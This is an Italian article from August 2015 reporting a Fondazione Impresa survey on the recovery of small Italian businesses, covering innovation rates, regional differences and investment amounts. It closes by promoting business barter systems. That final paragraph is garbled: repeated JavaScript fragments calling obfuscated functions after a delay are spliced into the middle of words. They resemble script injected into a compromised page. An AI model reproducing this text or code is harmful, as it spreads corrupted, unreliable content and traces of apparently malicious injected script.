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Ripartono le PMI italiane. Investimenti e nuovi prodotti in crescita

Pubblicato il 27 agosto 2015
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Soldi e investimenti produttiviFinalmente una conferma concreta agli annunci di ripresa economica più volte annunciata. In base ad un’indagine statistica di Fondazione Impresa ben il 36% delle attività interrogate, la crisi è ormai quasi definitivamente alle spalle; il dato è ancor più significativo se si tiene in conto delle piccole dimensioni delle imprese oggetto del sondaggio: tutte con meno di 20 dipendenti.

Nel primo semestre del 2015 il dato più incoraggiante giunge dal settore manifatturiero che segna +0,6% per la produzione, +0,4% per il fatturato e +2% delle esportazioni. Fra le principali cause di questa ripresa vi è senza dubbio un maggiore tasso d’innovazione: 23,2% (+3% nel biennio 2014-2015).

Geograficamente ci sono poche sorprese, guida la classifica dell’innovazione il Nord Ovest, seguito dal Nord Est, Centro e Meridione, che con il 20,1% accorcia le distanze con le regioni prime della classe (28%). Alla base di queste evoluzioni c’è il miglioramento delle condizioni economiche mondiali, ma soprattutto il clima di fiducia tra gli imprenditori.

Gli obiettivi perseguiti dalle varie direzioni aziendali sono i seguenti:

riduzione dei costi 27,7% (soprattutto al Centro)

– migliore efficienza produttiva 17,5% (soprattutto al Nord Est)

– incremento delle quote di mercato 17,5% (soprattutto al Sud)

– ampliare l’offerta di prodotti e servizi 14,6% (soprattutto al Nord Ovest)

– migliore competitività sui mercati esteri 11,7%

– anticipare la concorrenza 8,8%

– adeguamento normativo 2,2%

I costi di questi investimenti sono per lo più inferiori ai 25 mila euro, quasi il 60% del campione; un terzo invece non ha superato i 10 mila euro (cifra limite soprattutto al Sud). Un decimo ha stanziato tra i 50 ed i 100 mila euro, mentre solo il 2% ha superato i 100 mila euro (quasi esclusivamente aziende del Nord Est).

Questa indagine dimostra una volta di più come la via per la ripresa economico-produttiva passi inevitabilmente da investimenti ed innovazione, che sono poi i punti forti del baratto aziendale. Infatti entrare a far parte di un sistema di moneta complementare ha molteplici vantaggi, tra cui la possibilità di usufruire di un credito per eseguire investimenti immediati ed innovare il proprio business (adottandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ando una piattaforma di e-commerce, sviluppandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ando nuove sinergie con partner strategici, ecc.)

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